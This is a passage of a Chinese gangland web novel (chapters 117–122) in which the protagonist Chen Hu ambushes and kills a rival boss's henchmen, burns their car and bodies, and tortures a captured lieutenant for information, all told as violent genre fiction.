小天闻言,麻溜的下了车,来到引擎盖前,一脸惊慌失措的查看情况。 陈虎则饶有兴趣的站在不远处,嘴角露出一丝冷笑的看着他们。 而小天打开引擎盖,装出非常认真的样子检查之后,当即就苦着脸出声道:“没招了哥几个,抛锚了!没工具修不了啊!” 那四个马仔一听小天这话,顿时就恼怒不已。 其中一个马仔抬手便狠狠的甩出了一巴掌,打在了小天的头顶上。 小天顿时晕乎乎的转了一圈,然后一屁股跌坐在地。 此时,其他三个马仔也顿感无奈,当即便商量着该如何是好。 挨了打的小天则缓缓起身,收起眼底的那抹狠辣,然后换上一副讪笑奉承的嘴脸,凑上去说道:“哥哥们,爵爷的事儿不能耽搁!要不咱们来个人回去,找兄弟们过来修车,剩下的先走过去上河村,从这儿过去,估摸着只要两小时的脚程就能到!” 那四个马仔一听这话,顿时面面相觑,简单商量之后,当即应下。 其中为首的魁梧汉子指着小天,狠狠怒视道:“你回去带人过来修车,修完车后,就过来接我们!” 小天闻言,心中却是暗自翻了个白眼,接着继续讪笑道:“大哥,我得带路!” 就在这时,边上的陈虎不合时宜出声道:“那啥?几位大哥,你们说了帮忙给钱来着……” 那四个马仔闻声,顿时纷纷将他们的目光,投向了陈虎。 他们正欲发作,本来,他们就因为这些破事愤懑,眼下他们面前的这青年又不长眼的撞了上来。 可为首的那打手,却突然抬手拦住了其他的三个马仔,接着冲陈虎问道:“你认识去上河村的路吗?知道该怎么走吗?” 陈虎闻言,眨巴眨巴了眼,然后有些为难点了点头道:“大哥,我不要钱了!不要杀我!” 那四个马仔见陈虎这般没骨气的模样,当即也是一阵鄙夷。 小天赶忙站了出来,问道:“哥们,在问你知不知道上河村该怎么走呢?!” 闻言,陈虎看着颇为为难的说道:“大哥们,我就是上河村人,你们去干啥嘞?” 为首的光头大汉听到陈虎这话,眼底顿时闪过了一抹喜色,接着就上前,勾住了陈虎的肩膀,笑着出声道:“小兄弟,给我们哥几个带路去上河村,好处少不了你的!” 陈虎颤颤巍巍的,有些为难的出声道:“哥,我还得去镇上买粮种!我要是买不回去,家里头又得骂我了!” 一个马仔听到陈虎这话,顿时就怒不可遏的抬起了巴掌,直接就要朝着陈虎打来。 那为首的光头大汉见此,当即便使了个眼色,让这个马仔先退下。 而这个马仔见此,却是直接就忍不住了,当即大喊道:“彪子,咱们是办事儿来的,赶时间的!这种人听话就听,不听话的话,兄弟几个有的是手段对付他,你别拦着我,让我来!” 说罢,这个马仔的手直接就横到了陈虎眼前,他抬手就要一巴掌冲着陈虎的脑袋扇去。 陈虎见状,顿时就冷下脸来。 下一瞬,在这个马仔的巴掌即将落下的刹那间,陈虎却是骤然暴起! 只见,陈虎快如闪电一般,迅速的从他的腰间,抽出了一把短刀。 随着阳光的照射,短刀的刀刃便在阳光底下,映衬出了一抹寒光。 紧接着,那刀刃就猛地划破了这个敢对陈虎动手的马仔的喉咙! 第一卷 第118章 永远不要低估司法机构的能力! 其他三个马加爵的马仔,还没有看清楚到底发生了什么,便见那个要对陈虎动手的马仔,就直挺挺的倒下了。 陈虎并未停下手中的动作,随后直接一个箭步飞扑向前,朝着最近的那光头大汉,一刀直刺出去。 那光头大汉在慌乱之中,本能的想拿手来挡,却见得陈虎那锋利的短刀,自他的手掌贯穿而出,继而又直插他的心口。 随着陈虎再一次利落的拔刀,剩下的两个马仔与小天,这才反应过来。 那两个马仔赶忙朝着停靠的汽车跑去,打算去车上拿家伙什。 可一名马仔刚走出两步,却顿觉后背一凉,接着痴痴的低下头,看着他胸前的那半截冰冷的刀刃…… 在小天的视角之中,陈虎从暴起出手,再到他反应过来,正打算拔出腰间的手枪帮忙,似乎不过短短一瞬的时间。 可当小天刚拔出枪,再抬头时,马加爵的那四个马仔就全部都倒在了地上。 小天痴痴的看着这一幕,而后眼神惊恐地想要寻找陈虎的身影,却顿觉手肘一阵剧痛,接着他手中的那把手枪,便被一只有力的手给轻易夺取了。 不由得,小天诧异的回过头,这才惊觉他的那把手枪竟是被陈虎给夺走的! 嘶…… 小天当即就倒吸了一口凉气,望着陈虎,久久不能回神。 陈虎拿着小天的这把仿制的制式手枪,一阵摆弄,随后不由得摇了摇头,自顾自的开口说话道: “可惜了!仿制工艺和材料都太过粗糙,有效射程应该不超过一百二十米。” 说罢,陈虎就十分自然的将那把枪给揣进了兜里面,然后不冷不热的接着说道:“当然,这也够用了!” 这时候,小天才全然从震撼之中回过神来。 小天狠狠咽了口唾沫后看向陈虎,声音颤抖道:“虎……虎哥,你不是说要让我回去接着找人,你带他们去上河村吗?” 陈虎闻言,却是冷笑道:“别废话了!回去找那马加爵,告诉他出了车祸,让他赶紧带人过来,你自个儿带的兄弟都吩咐下,快到的时候,都偷摸在左边的胳膊上面,绑上一条白布,免得他们和这四个人一般下场。” 说话间,陈虎还努努嘴,望向地上那四个睡姿安详的马加爵的马仔。 小天闻言,不由得狠狠咽了口唾沫,随后深吸了一口气后,赶忙点了点头。 而后小天还想着要不要向陈虎要回他的那把手枪,却见得陈虎已然开始动手,拖动着那四个马仔,往汽车里面搬。 不由得,小天犹豫片刻,最终也没敢去提这事儿,赶忙也跟着上前搬运尸体。 那四个马仔都极为壮硕,估摸着每个人都有一百八开外的体重。 陈虎和小天两人合力搬运,也显得极为困难。 小天一边跟着陈虎用劲,好不容易将一人搬进了汽车里,这才长舒了一口气,然后一脸不解问道:“虎哥,这是要开车去抛远些吗?” 陈虎闻言,摇了摇头道:“这都开春了,这些尸体放在哪里,都有可能被发现。到时候,保不齐会有诸多的麻烦。” 小天听到陈虎这话,不由得干笑了两声,接着说道: “虎哥,你有所不知,这些个吃公粮的都没啥用!他们就算是发现了,也不可能知道是谁干的。” 陈虎却并不认同小天的话,他随后摇了摇头,意味深长的说道: “永远不要低估司法机构的能力!” “他们在人口基数如此大的情况下,有着太多太多的刑侦经验,有的证据甚至于能够保存数十年之久!” 小天对陈虎这话半信半疑,但碍于陈虎这般说时的认真,尤其是陈虎的实力很强,他不值得反驳陈虎,因此,他并没有反驳。 随后,小天就顺着陈虎的话,问道:“那虎哥,咱们现在该怎么处理这四人的尸体?要不我回头找个砖窑,直接给他们烧了?” 陈虎闻言,摇了摇头,嗤笑一声道:“我们不能低估司法机构的能力,但同时也不能高估他们的效率。把剩下的尸体都搬到车上,其余的交给我就成!” 小天见陈虎都这么说了,立马识趣的闭嘴,随后跟着陈虎继续忙活搬运尸体。 不多时,那四个马加爵的马仔的尸体,全部都一个不落的被搬上了车。 小天累得坐在地上直喘气,陈虎则忙活着在这四个马仔的身上,割下一些衣服,又从车里头找了个水壶。 紧接着,在小天不明所以的目光中,陈虎先是打开了车的油盖,随即又从车头引擎盖下面扯出一根软管,将软管一头放进油箱里,然后就对着管口吹起。 很快,油箱里面的汽油便顺着软管的管道逆流而上,从另一头冒出。 陈虎随后把将软管的另一头放进水壶口,不多说,水壶就被灌满了汽油。 搞了一壶汽油后,陈虎就来到车上,先是挪动了主驾驶位置上的尸体,接着打火发动汽车。 将车打着火后,陈虎接着走下车,敞着车门,用汽油从油箱位置一路到车里头全部都浇了一遍。 做完这一切后,陈虎站到了远处,然后从怀里掏出了一根火柴,点燃后扔出。 下一瞬,被点燃的汽油便窜出无数火舌,很快就将整辆汽车包围。 陈虎当即就招呼着小天,一起走远些。 不多时,陈虎和小天二人远远望着小车在数次爆燃后,发生了爆炸。 汽车爆炸的火光,冲天而起。 大量的烟雾迅,速蔓延着,腾飞到了上空,刹那间便遮住了阳光。 以爆炸的汽车为中心位置,大片的天色都在一瞬间内,暗了下来! 望着这震撼人心的一幕,小天此时已然麻木了。 好半晌,小天才忍不住出声道问道:“虎哥……这么好的车,就这么给烧了?” 就在小天话音落下的瞬间,爆炸的气浪将车的引擎盖掀飞过来,砸到了陈虎和小天两人的面前。 小天被这一幕吓得不轻,他的心中甚至于有那么一刻以为是那四个被陈虎杀的马加爵的马仔,来向他们索命来的! 陈虎对此,却丝毫不惧,他随后漫不经心的说道: “都说了不要低估司法机的构能力!” “那些尸体上面,可能会有伤口和死亡时间、死亡原因的证据。而这辆车若是留下来,不管它转手到了什么地方,都会成为一直存在的证据,车上的指纹和落下的一根头发,都有可能让你我被盯上!” 尽管第一次听说这般玄乎的东西,但小天还是识趣的没有多问。 爆炸的汽车,很快便燃烧到了仅剩下一个车架子。 陈虎在远处看完爆炸后,又静静了看了一会儿爆燃后剩下的那一片废墟,这才长出一口气道: “这次你们站队就够了!” “你回去搬救兵,最好能让马加爵走一遭!如果不能让马加爵过来,那也没关系,晚些时候我会亲自去找他的!” 小天听着陈虎平静的话语声,心中却是惊起了一阵惊涛骇浪,犹豫了半晌,他这才开口道: “虎哥,有个事儿我得告诉你。” 陈虎闻言,微微挑眉道:“说说看!” 小天随后深吸了一口气,娓娓道来: “虎哥应该知道了,这马加爵是县里头道上最大的大佬,怎么说也都是县里头一个举足轻重的角色,他跑这一遭带着刘翠翠来,我想应该并不是针对虎哥你的。” 陈虎听了小天的话后,微微颔首。 略微思索后,陈虎回道:“这事儿我也想过了,刘翠翠没能耐攀高枝,但她现在既然已经出现了,那你们就需要给我一个合理的解释才行!” “当然,现在的重点在于他们因为一些不知名的原因,直接盯上了我。刘翠翠应该只是被他们搬出来当枪使的,或者说这位爵爷其实也只是被别人给当成枪使了。” 小天闻言,连连点头,接着又深吸了一口气道:“虎哥,我想在咱们镇上能够让爵爷被指使,愿意亲自出面动手的人,并不多。你之所以被牵连,我和豹爷之前曾合计过,估计可能是孙家的原因!” …… 第一卷 第119章 还搁我这儿装什么? 开春过后,天气总是阴郁。 灰蒙蒙的天沉着一张脸,不知道什么时候就打算下起一场春雨。 初春的冷风比起寒冬来说,自然好了不少,但现在仍旧是人人裹得像个粽子,毕竟春寒在北方可不是闹着玩的。 尽管年后的积雪都逐渐化开,但朝着远处的山顶望去,仍旧是白茫茫的一片。 午后的镇上,明显热闹了许多。 街道上,镇子附近十里八乡的村民们都来赶集,尽管人并不算多,可与年前大雪封山的那段日子相比之下,仍旧是天壤之别。 小天一路狂奔,跑了一个多钟头后,才赶回到赌场。 他不敢耽搁,推开门后,便直奔赌场后面的会客厅赶去。 等到小天推开门时,屋内的马加爵正与成枝豹相互谈笑着饮茶。 见小天灰头土脸、气喘吁吁的闯了进来,这位本是来客,却坐在主位上的“爵爷”,当即就忍不住微微皱眉。 成枝豹也是满心不解,尽管他吩咐过小天该怎么做,但怎么这么快人就回来了?这是发生了啥? 就在马加爵和成枝豹两人默契不出声,静静等着小天开口的功夫,小天终于缓了口气,神色慌乱的开口道:“豹爷、爵爷!我们刚出镇子不远,车……车就撞到了一头牛,车翻了!有两个弟兄被卡在座位里头,剩下两个也磕得满脸是血,我给他们包扎完伤口之后,就赶忙回来搬救兵了!” 小天绘声绘色地诉说着当时的情况,露出满脸的懊恼与畏惧的神情。 马加爵听完这话,当即猛地用力拍桌,冷哼一声,怒斥道:“没用的东西!成事不足,败事有余!” 说罢,马加爵就挥了挥手。 很快,在门口守着的一个黑衣中年人,就走到了他的面前,一脸的恭敬弯腰道:“爵爷,您吩咐!” 马加爵也不废话,咬牙便交代道: “老朱,带人去看看那四个蠢驴!他娘的,要是卡在车里救不出来,索性就把人给锯了,车子得带回来!还有,记得你再亲自带几个人走一趟上河村,找那个什么陈虎,剩下的事儿,你明白吧?” 被称作“老朱”的中年人闻言,重重点头道:“爵爷放心,办不成这点小事,我老朱拎着脑袋回来见您!” 马加爵闻言,当即摆了摆手,接着转头看向成枝豹道:“小豹,叫两人跟着老朱走一趟,这事儿办完,我还得回去,可不能再出差错了。” 成枝豹听到马加爵这话,直接站起身,拍着胸脯出声道:“爵爷,您把心就放在肚子里头吧!小天这货也是成事不足,败事有余,这次我再多派几个弟兄一起,保证不会再出差错。” 说罢,成枝豹当即怒视小天道: “屁大点事儿都处理不好!老子白养你这么多年了,养条狗还能看家护院呢!” 小天苦着脸听豹爷这般说,直接就眼里冒出泪花,接着就没有半点儿犹豫的跪下认错道:“豹爷!我该死,再给我一个机会……” 见小天声情并茂的认错,马加爵又是冷哼一声,随即眉头一皱,便不耐烦道:“得了!阿豹,别让他再废话了!赶紧出发吧!还要他带路来着!” 成枝豹闻言,也忙给小天使了个眼色,接着咳嗽一声后,说道:“去吧!带上几个弟兄,别他娘废话了!再弄砸了回来,老子就把你拴在院子里面当狗使!” 小天也是连连答应,而后转身就出了屋子。 很快,会客厅内就只剩下成枝豹与马加爵二人,其余的马仔大多数去了小天口中的“车祸现场”。 剩下马加爵的手底下人,则都侯在外头,而成枝豹剩下的手底下人却是都忙着照看赌场。 而这会儿的功夫,这几日享受惯了锦衣玉食,随便使唤人的刘翠翠,此时却还躺在她的屋内午睡着。 会客厅内,现在空荡荡的,刘翠翠又在睡觉,现在只能成枝豹亲自给马加爵沏茶、添茶。 茶水顺着壶嘴流进杯中,伴随着水流的“哗哗”声,成枝豹一脸讪笑的望向马加爵,然后装作不经意的开口道:“爵爷,那刘翠翠这种泼妇货色,带在身边可太折您的面儿了,我这边倒是有几个姿色还行的,要不我给您叫来?” 马加爵听出了成枝豹言语之中刻意的打脸,却是不紧不慢的端起茶杯,轻轻的吹着热茶,而后轻抿一口,接着才微微眯着眼,说道: “要不是有人委托老子帮她做两件事情,老子能带着这玩意儿出来?你小子别以为老子听不出来你在编排我,要有好女人在你这穷乡僻壤的,不早就给你开瓜开坏了?你自己都吃不饱,还搁我这儿装什么?” 说到此处,马加爵直接满脸不屑的朝着地上吐了口唾沫,接着冷哼一声,说道: “阿豹,你当初拜过我的堂口,我也拿你当自己兄弟,但有时候你别给老子整些让人不开心的!有人就送来,你这话是故意在打听老子跑这一遭,到底是为啥吧?” 成枝豹被马加爵的这番话,弄得心底满不是滋味,当即又气又惊。 可现在的情况是他还不能发怒,还不能得罪马加爵这家伙。 不由得,成枝豹只能陪着笑脸,出声道:“爵爷,您误会了!当然,您教训的是,我应该直接把人给您送来的!” “不过,您也误会了,我打听您干啥啊?想我这种小角色,哪儿有胆子跟您耍小心思啊?爵爷,您这肯定是在跟我说笑吧!” 马加爵闻言没接话,他深深看了一眼成枝豹后,又接着低头品茶。 成枝豹见自己被晾着,倒也没有发作。 暗自松了口气后,成枝豹又坐了回去,接着摆弄茶水。 此刻,成枝豹的心底,不由得也是一阵心惊! 他不过是在马加爵的面前随便提了一嘴,还是旁敲侧击来的,结果却被马加爵一针见血地指出来了他的目的。 这得多唬人? 当然,成枝豹也忍不住在心底一阵愤懑的暗骂起来。 马加爵这狗东西尽管是道上大佬,自个儿也的确拜过马加爵的堂口,但你马加爵待在县城里的肥田上,自个儿守着这处镇子上的三瓜两枣,本就没啥交集,眼下你却跑到自个儿地盘上作威作福,这整得哪出? 可惜,再多的愤懑暗骂,成枝豹自个儿现在也只能打碎了牙,往自个儿肚子里面咽。 不过,成枝豹的心底,其实此时也在暗暗思量着。 既然他成枝豹已经选择了站队陈虎,更准确的来说是站队陈虎背后的孙家,那不管这马加爵多有大能耐,身后又有什么手眼通天的人物,他都不能畏缩。 只是,眼下他还不知道小天那边到底是什么情况。 否则的话,他成枝豹也不是什么善茬,他都准备趁着现在会客厅周边没有马加爵的马仔,直接就动手,一举拿下此时孤身一人的马加爵了! 第一卷 第120章 百米开外,百发百中?! 由于成枝豹的车,已经被小天派出去给陈虎报信的赌场马仔开了出去,因此,现在赌场内已经没车了。 这一次,小天就只能带着马加爵手底下的八个马仔,和赌场里的四个弟兄,朝着镇子西边步行走去。 他们得靠脚力,去寻小天口中所扯出的车祸现场。 也是幸亏陈虎伏击的位置不远不近,走过去的脚程快些的话,也就个把小时的功夫。 在小天看来,这样也好。 否则的话,要是赌场里面还有汽车,那他们赌场的人和马加爵手底下的马仔们,肯定得分两批出去。 到时候,说不定陈虎一个人想埋伏他们两批人,那就麻烦了! 特别是分成两批人的话,如果不能让赌场里面的四个弟兄,和他分一批走,那小天想要让这四个兄弟,全部都绑上保命的白布条,怕是还有些难度。 眼下,已然过了正午。 所以,等到小天他们这一行人赶至陈虎预定埋伏的地方时,时间已然到了午后三点左右。 本就灰蒙蒙的天,自晌午过后,更显得阴沉! 天际之中,目视所能见的地方,满是堆叠的阴云。 不时吹过的冷风,也让小天这一行人尽管穿得再厚重,此时也不免得打了个哆嗦。 就在走出镇子后,小天不知道搁哪儿掏出了一堆白色布条,然后当着那八个马加爵手下马仔的面,分发给了他们赌场里面的那四个弟兄,并让他们把白布条绑在左边的胳膊上面。 见此情景,那伙马仔为首的老朱,顿时就皱眉询问道:“这是打算作甚?你们绑着这玩意是啥意思?” 见这老朱的语气不善,小天急忙嘿嘿笑着解释道: “朱哥,您别见怪!这是这边村里头习俗,过来做客戴上这白布条,人家就知道你带着善意过来的,不容易起冲突。” 小天身后的那四个赌场里的弟兄,一听小天这话,不由得都脸色怪异。 这明摆着是小天这家伙在胡扯瞎咧咧啊! 不过,他们一个个的虽然皱着眉头想说些什么,但又碍于小天在成枝豹面前的地位,觉得可能是豹爷的意思,因此他们不敢吱声,只能默默地在他们左边的胳膊上面,绑上了白布条。 老朱一伙人听了小天的话后,却是直接忍不住捧腹大笑道: “好小子!你们家豹爷搁这儿一片,都混成这副样子了?你们去哪里还生怕人家知道你们不善?你们做的哪一行?你们这副样子,也敢说你们是道上的?当真是丢人丢到了姥姥家了!” 老朱身后的马仔们,随后也是毫不在意的嘲笑起来: “啧啧啧……得亏没在这乡下,跟着那啥阿豹混,不然的话,去一趟哪个村子里面,还得畏畏缩缩的,生怕被人打一顿不是?” “可不是!以前帮派火拼的时候,大家头上绑根黑布条,手膀子上系根红绳,那是怕刀子不长眼,砍错了人。并且哪个帮派有了固定行头后,光凭着一根带子,也能吓唬一票人。感情这东西到了他们老大阿豹那儿,就直接成了举白旗的象征了,是吧?” “是啊!阿豹他们可真是把我们道上的脸都给丢尽了!” …… 当然,一行人并未因为小天他们绑白布条的这个小插曲,而停下脚步。 但一路走来,马加爵手底下的那伙八个马仔,却一直都在唠这事儿,时不时的说出来对豹爷和小天他们一阵打趣嘲讽。 这可让小天身后的弟兄们一阵恼怒,几次想回过头,与之拼一场,但却都被小天给拦了下来。 可尽管小天作为赌场里面的二把手,这四个弟兄也跟在小天手底下好些年头了,但这四个弟兄此时却一个个依旧满脸的不服气。 四人合计一番后,其中一个再度凑到小天的旁边,低声开口道: “天哥,咱们就看着这群杂碎数落咱们和豹爷?再说了,这破白布带子啥时候成什么习俗了?” 小天闻言,脸上不由得浮现出了一抹冷笑,接着满不在意的说道: “都觉着委屈?呵呵……在等一会儿,老子让他们都跪下来给老子求饶!” 听到小天的话后,这四个弟兄更是满脸不解,他们正打算问询时,却突然被一记破空的炸裂声给打断。 砰! 那伙马仔为首的老朱,率先便反应过来,他下意识的便寻了路边的一块大石头,藏匿住身形,而后迅速的从怀里面,掏出了一把黑黝黝的手枪。 就在老朱喘着粗气,观察着枪声的来源时,跟着他一道来的一个马仔,此时已经倒下来了一个。 刚才那一枪,正中其眉心! 老朱在边上眼睁睁的看着自家弟兄,上一秒对方还在说话,下一瞬间就倒地,直接一命呜呼了。 血水溅了老朱一脸,老朱却十分镇定的单手持枪,躲在巨石的后头,静静等待着暗中的人打出第二枪。 至于和老朱一起来的其他的马仔们,此时也一个个的找地方躲起来。 有人被吓得大喊大叫,有的则趴下身子,对着四周破口大骂。 小天的那四个弟兄,也寻了一处路边的水渠,爬了下去,压根顾不上水渠里头的水,现在依旧冰寒刺骨。 反倒是小天,却是不慌不忙的来到水渠边上的田埂坐下,然后悠哉悠哉的挺直了身子,望向了身后的老朱一伙人方向。 就在这时,第二声枪声响传来! 老朱在高度的警惕之下,瞬间便注意到了枪响,随后就在离他五米外的那棵灌木的后面,传出了一声呜咽! 只见,那处灌木后头,一个马加爵手底下的马仔,此刻正躺倒在地。 他左半边的脑袋已经被射开了花,而他整个人却并没有在第一时间内咽气,他的身体反倒是还在不断的抽动着! 老朱看了这一幕后,惊得眼珠子都快要瞪出来了! 不远处,小天则眉头紧锁,自言自语的呢喃出声道:“第二枪……” 这时候,老朱前面一个趴在地势低洼处的马仔,却是再也忍不住了,他哆嗦着身子,爬起身来,就想要往回跑。 砰! 又是一声震彻云霄的枪响! 这一枪,仅仅是打中了那想往回跑的马仔的肩膀偏中心的位置,让他当场就失去了行动能力,只能趴在地上,痛苦地大喊呼救。 小天眼见着第三人迎着枪声倒下,便忍不住狠狠的咽了口唾沫,接着又喃喃自语道:“第三枪……” 听着倒下的那马仔的痛苦喊叫声,一个与之交好的男人,在犹豫了片刻之后,随后便弯着腰冲上前,打算将那马仔给拖回来! 可就在这时,又是一声枪响传来,在场所有人的心弦,此时都忍不住一阵颤动。 这打算救人的男人,当即就应声倒地。 这一枪,再度正中眉心,让这男人当场毙命! 老朱见状,急忙大喊道:“都别去救人!” 不远处,小天的眼中也闪过了一抹复杂之色道:“第四枪……” 此刻,老朱也终于确认了开枪的方向,就在前方百米外的那处灌木之中。 而远处开枪之人,自然就是陈虎无疑! 眼见着他原本“围点打援”的想法,已经不能再进行了,陈虎当即就将瞄准目标改成了在石头背后嚷嚷的那人。 只可惜,对方用来躲避的石头掩体太大了,并且对方压根不露头,让得陈虎难以瞄准。 老朱的双手此时忍不住微微颤抖着,心中却是不断反复的自说自话道:不可能!绝对不可能! 百米开外,百发百中?! 这人难道说有制式武器吗? 要知道能在百米外百步开扬的枪械,那都应该是被严格管控的制式武器,例如步枪,抑或是狙击枪…… 而市面上所流通的枪械,包括他老朱的手里头的这把伯克手枪,也都仿制得十分粗糙。 不说这些枪的精度有多离谱,就连会不会炸膛,他都不能保证! 但最让他难以置信的,还是这枪声! 老朱本名朱锡,在道上有个外号,名叫“屠夫”。 他帮着马加爵管着黑市和抢劫绑票等业务,对于市面上所流通的枪械,一直都了熟于心。 所以,从陈虎开第一枪开始,老朱就知道这枪声大概率是仿制95式。 比他自己手里头的这把仿制伯克手枪,做工还要粗糙! 就是眼下陈虎所用的仿制95式直接炸膛,他朱锡都不会觉得奇怪的,反倒是会认为这是理所应当的。 可是仿制95式这种枪,怎么可能会百步穿杨呢? 都百米开外了,竟然还有这般准头? 就在朱锡依旧没有想通的时候,周围却是突然又有一声巨响传来。 田埂上的小天,此时也是不由得深吸了一口气,然后再度喃喃出声道:“第五枪!” 第一卷 第121章 你得让老子死个明白! 这次倒下的是朱锡身后的一个已经被吓破了胆,想要趴着逃离这地界的马仔。 这家伙被一枪击中后脑勺,直接就毙命当场。 此刻的朱锡,早已汗流浃背。 来时加上他自己,排除小天一伙五人,他们一共就八个人,眼下直接死了四个人,还有一个人虽然一枪没被打死,但那家伙也离死不远了,此时正趴在地上,喊叫着求救。 五枪前后,也不过就十个呼吸的功夫! 朱锡不得不强压下心头的畏惧,他明白再躲下去,他只能是坐以待毙。 随即,朱锡不断的深呼吸,调整着情绪。 调整完后,朱锡就一咬牙,直接站起身来,朝着他方才望见枪口喷火的位置,双手持枪,不断连射! 砰砰砰…… 随着一阵枪声的响动,很快,朱锡弹夹里头的子弹,便已经全部被打光了。 子弹打完之后,朱锡便急忙蹲下身子,藏匿身形。 做完这一切,朱锡就忍不住地大口大口的喘息着,他只觉得他的心脏猛跳,好像都快要跳出了胸腔一样。 就在朱锡静静地等待着他刚才持枪连击的结果出现的时候,却突然有一只滚烫的枪口,对准了他的后脑勺。 朱锡顿时就感到心头一凉,随即,他颤抖着身子,很果断的便将他手里头的枪,给扔到了地上。 接着,朱锡举起双手,缓缓起身,同时声音颤抖着开口道: “这位爷,您放过我吧!我有钱!我有很多钱!都可以给你!” 陈虎闻言,不由得微微挑眉,他左手持枪对准着朱锡的脑袋,轻轻敲了敲,大喝道:“别废话!跪着先!” 这时候,不远处听见动静的另外两个活着的马加爵手底下的马仔,却是忍不住几乎同时抬头起来观望。 而这种杀人的好机会,对于经验丰富的陈虎来说,他自然不会放过。 陈虎没有丝毫客气,右手直接拿出他身上的弩,对那两个在草垛里面和树后面露头的马仔瞄准射击。 瞬间,两支弩箭快速连发,“嗖、嗖”两声,便直接射中了那两个马仔。 箭矢精准无比地正中二人的眉心! 就此,马加爵再次派来的八名马仔,除了被陈虎用枪口指着脑袋的朱锡之外,其余七人,六死一重伤! 而重伤的那个马仔,陈虎还特意打中了他的脊椎,他即便是不死,以后也只能做个瘫痪的废物了。 小天见到陈虎露面之后,这才招呼着其他四个被吓得不轻的赌场里的弟兄们,从水渠里面爬出来。 那四人面面相觑,而后跟着小天,来到陈虎的面前。 连小天在内的赌场里的五人,平日里也算是道上的狠角色,是平常百姓家见了他们都会自觉绕道走的人物。 但眼看着朱锡带来的人,全部都已经倒地不起,一命呜呼。 再加上这马加爵手底下的亲信朱锡,也被枪指着脑袋,此时正高举着手,跪在原地,也是再没了以往的神气,完全像是被吓蔫儿了的菜叶子一样,他甚至于都不敢与陈虎对视一眼。 其中两个赌场里的马仔,看了一会儿后,就忍不住一阵反胃,直接就跪着吐了一地。 吐完了之后,他们就不由得低下了头,余光都不敢去看地上的那些个尸体。 此刻,跪地高举双手的朱锡,看着完好无损的小天等五人,再看向五人手膀子上捆着的白布条,顿时就明白了怎么回事。 一时之间,朱锡的眼底满是惊恐与愤怒,他不由得大骂道: “你们……你!狗娘养的!你说的车祸是假的,对吧?!钱三他们都给你们害了?!” 陈虎见状,不由得皱眉,抬腿便一脚踹在了朱锡这厮的脸上。 结结实实挨了一脚的朱锡,直接就翻身砸在地上,他顿觉一阵头晕目眩,眼泪和鼻涕随后也不受控制的流了出来。 陈虎随后将他手上的仿制95式手枪扔给了小天,这也算是物归原主。 随后,陈虎弯下腰,将朱锡用的那把仿制伯克手枪,给拿了起来,又顺带在朱锡兜的里面,搜出来二十多发子弹。 陈虎十分快捷的将子弹上膛,随后目光冷峻地看向还没缓过神来的朱锡,大喝道:“跪好了!” 朱锡闻言,顾不得眩晕感与痛楚,赶忙爬起来,再度举起双手跪下。 接着,朱锡满脸都是鼻涕泪水的大声哭诉道: “爷爷,您放过小的!我就是过来办点事的,要钱都好说,我有很多钱!” 陈虎闻言,十分不耐烦的大喊道:“把嘴给我闭上!” 接着,陈虎就走到小天的面前,歪头示意道:“别愣着,带上你这四人,把这些尸体都处理干净。” 小天闻言,不由得缩了缩脑袋,赶忙应声。 然后,小天就拿着枪,走到了朱锡面前。 之后,小天蹲下身子,缓缓的摇头道: “可惜了,你怎么说也是县城里头的一号人物,今儿死在这儿,还得辛苦弟兄们给你收尸!” 见陈虎与小天这般说,朱锡也索性不再求饶。 朱锡随即放下高举的手,也不再跪着,直接就一屁股坐在地上,重重的喘着粗气道: “死就死吧!不过,成小天,你得让老子死个明白!” 成小天闻言,点了点头,接着面无表情的冷冷说道:“你问吧!我给你一分钟,等会儿给你和你兄弟们收尸,很费时间的!” 一听到成小天这话,本来已经泄了气的朱锡,顿时又怒目圆睁。 在瞪了小天片刻之后,朱锡又长出了一口气,哑声问道:“为什么要杀我和我手底下的兄弟们?” 闻言,成小天挑了挑眉,耸肩道:“你们爵爷让你们去杀我虎哥,他出手不过是自卫罢了,你们死得不冤枉!” 朱锡听了成小天的话后,就顺着成小天的目光,看向了正在一旁,悠然坐在石头上没吭声的陈虎。 同时,朱锡的眼底,也是闪过一抹不可置信道:“他便是陈虎?” 成小天点头,此时丝毫不掩饰道:“没错!并且,虎哥和我们豹爷之间一直都有来往的。” 说罢,成小天撇了撇嘴道:“得!你问我一个,那我也得问你一个!现在我问你,谁让你们找来刘翠翠,并且带刘翠翠来到这里寻虎哥麻烦的?” 听见成小天询问朱锡的话,陈虎此时也是忍不住微微眯眼看向朱锡。 朱锡闻言,顿时面露犹豫之色。 成小天见其不配合,正欲接着开口询问,却见陈虎从那块巨石上面一跃而下,然后直接打断成小天,冷冷开口道: “算了!你这么问,真是太浪费时间了!让我来换他开口吧!” 这话刚一说完,陈虎就不由分说的将手中的那把伯克手枪反过来握住,然后冲着朱锡这货的右膝盖,狠狠砸下! 朱锡顿时就痛喊出声,额头瞬间暴汗,就连他的面容都不由得扭曲起来。 这一幕,给成小天与他的那四个赌场弟兄吓得不轻。 他们随即都脸色惨白的站在一旁,丝毫不敢吭声。 陈虎这方面的经验丰富,他出手的力道完全就是奔着砸碎朱锡的右膝盖骨的。 而随着陈虎砸碎了朱锡的右膝盖骨,朱锡疼得正想死时,陈虎却是又接着猛地砸向了朱锡的另一只左膝盖骨。 这下子,朱锡的痛苦已然不能形容了,他直接就翻个白眼,晕死过去了! 第一卷 第122章 陈虎的狠辣 陈虎看着朱锡的样子,不由得皱了皱眉,然后收起手中的仿制伯克手枪,接着掏出他的短刀,直接瞄准朱锡肋区间的一个位置,狠狠扎下! 在刀尖没入皮肉约莫五厘米左右后,陈虎却是又直接稳稳的停下了。 下一瞬,本来已经昏迷过去的朱锡,却是再度猛地睁开眼。 “啊……” 巨大的疼痛感,顿时就让得朱锡张大了嘴叫喊,而他的眼珠子此时也疼得似乎都快要瞪出来,掉到地上了。 陈虎对此却毫不在意,接着又拿着短刀,直奔朱锡的下半身刺去…… 关于拷问情报的方式,陈虎可不只知道一种。 前世因为执行任务的需要,陈虎不得不熟练掌握着数百种的审讯手段! 例如怎样让一个濒死的人,保持清醒。 怎样将一个正常人在半个钟头内,折磨成疯子等等…… 这些刑侦手段,陈虎前世实践过无数回,从来都没有人能够在他面前挺过半小时。 而陈虎与那时一起合作的队员们,都亲切的称呼这些审讯手段为“极限挑战”。 接下来的十分钟内,成小天那五个人就眼睁睁看着陈虎对朱锡使用那些明显残忍至极的审讯手段。 他们一个个的之后直接被吓得止不住呕吐,脸色煞白,腿肚还一阵阵的打颤。 惨叫声一环接一环,朱锡吼叫着直到喉咙沙哑,直到完全喊不出声音,眼睛仍旧睁得老大。 而朱锡嘴里面的词儿,从一开始的“放过我”,再到后来面对陈虎的询问,一一如实交代,直到之后他不断沙哑着大喊“杀了我!” 